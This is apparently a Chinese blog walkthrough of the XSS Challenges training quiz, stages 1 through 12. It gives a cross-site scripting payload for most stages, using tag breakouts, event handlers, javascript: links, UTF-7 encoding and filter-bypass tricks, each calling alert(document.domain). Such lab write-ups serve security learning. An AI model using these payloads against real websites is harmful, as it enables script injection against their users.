题目地址:https://xss-quiz.int21h.jp/
Stage #1
Hint: Very simple…
直接输入测试语句:
<sCript>alert(document.domain);</Script>
Stage #2
Hint: Close the current tag and add SCRIPT tag…
地址:XSS Challenges (by yamagata21) - Stage #2 (int21h.jp)
上测试语句:
<sCript>alert(document.domain);</Script>
然后审查元素,只需要把input标签闭合就能执行我们的语句了。
"><sCript>alert(document.domain);</Script>
Stage #3
Hint: The input in text box is properly escaped.
地址:XSS Challenges (by yamagata21) - Stage #3 (int21h.jp)
这个页面有两个input
标签,先在搜索框输入我们的测试语句试试。
直接把我们的语句放到<b>
标签里了,但是这旁边不是还有一个input
标签吗。把两者的name
互换一下即可。
Stage #4
Hint: Invisible input field.
地址:XSS Challenges (by yamagata21) - Stage #4 (int21h.jp)
审查元素发现有三个input
标签,第三个标签的属性是hidden
,把它改为text
,然后把input
标签闭合。
"><sCript>alert(document.domain);</Script>
Stage #5
Hint: Length limited text box.
地址:XSS Challenges (by yamagata21) - Stage #5 (int21h.jp)
审查元素,发现搜索框的长度被限制,修改maxlength
的值即可。
"><sCript>alert(document.domain);</Script>
Stage #6
Hint: Event handler attributes.
地址:XSS Challenges (by yamagata21) - Stage #6 (int21h.jp)
输入测试语句:
"><sCript>alert(document.domain);</Script>
发现尖括号和斜杠被转义了,那我们就使用不带尖括号的语句。
'" onm="alert(document.domain);"'
Stage #7
Hint:Nearly the same… but a bit more tricky.
地址:XSS Challenges (by yamagata21) - Stage #7 (int21h.jp)
审查元素,发现Hint
元素旁边有一个隐藏的输入框,将其属性修改为text
,并将value
设置如下:
‘”onmouseover="alert(document.domain);"'
Stage #8
Hint:the ‘javascript’ scheme.
地址:XSS Challenges (by yamagata21) - Stage #8 (int21h.jp)
测试一下:
"><ScrIpt>alert(document.domain)</ScrIpt>
语句传到了下面的跳转链接:
<a href=""><ScrIpt>alert(document.domain)</ScrIpt>" class="link-instanted">"><ScrIpt>alert(document.domain)</ScrIpt></a>
根据提示考虑通过javascript:
伪协议方式构造XSS
:
javascript:alert(document.domain)
Stage #9
Hint:UTF-7 XSS
地址:XSS Challenges (by yamagata21) - Stage #9 (int21h.jp)
若在Content-Type
中未设置charset
,在meta
标签中也未设置字符集,就能通过字符集抢占的方式使浏览器以UTF-7
格式解析。
UTF-7
在线编码:Novel Tools - UTF-7 Text Encoder
再通过控制台将name=charset
的值设为utf-7
即可。
Stage #10
Hint:s/domain//g;
地址:XSS Challenges (by yamagata21) - Stage #10 (int21h.jp)
测试:
"><sCripT>alert(document.domain)<sCripT>
发现domain
被过滤,尝试双写:
"><sCripT>alert(document.domdomainain)<sCripT>
Stage #11
Hint:
URL
错误,暂时访问不到。
Stage #12
Hint:“s/[\x00-\x20<>"']//g;”
IE
下使用如下语句:
`onmouseover=alert(document.domain);
文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。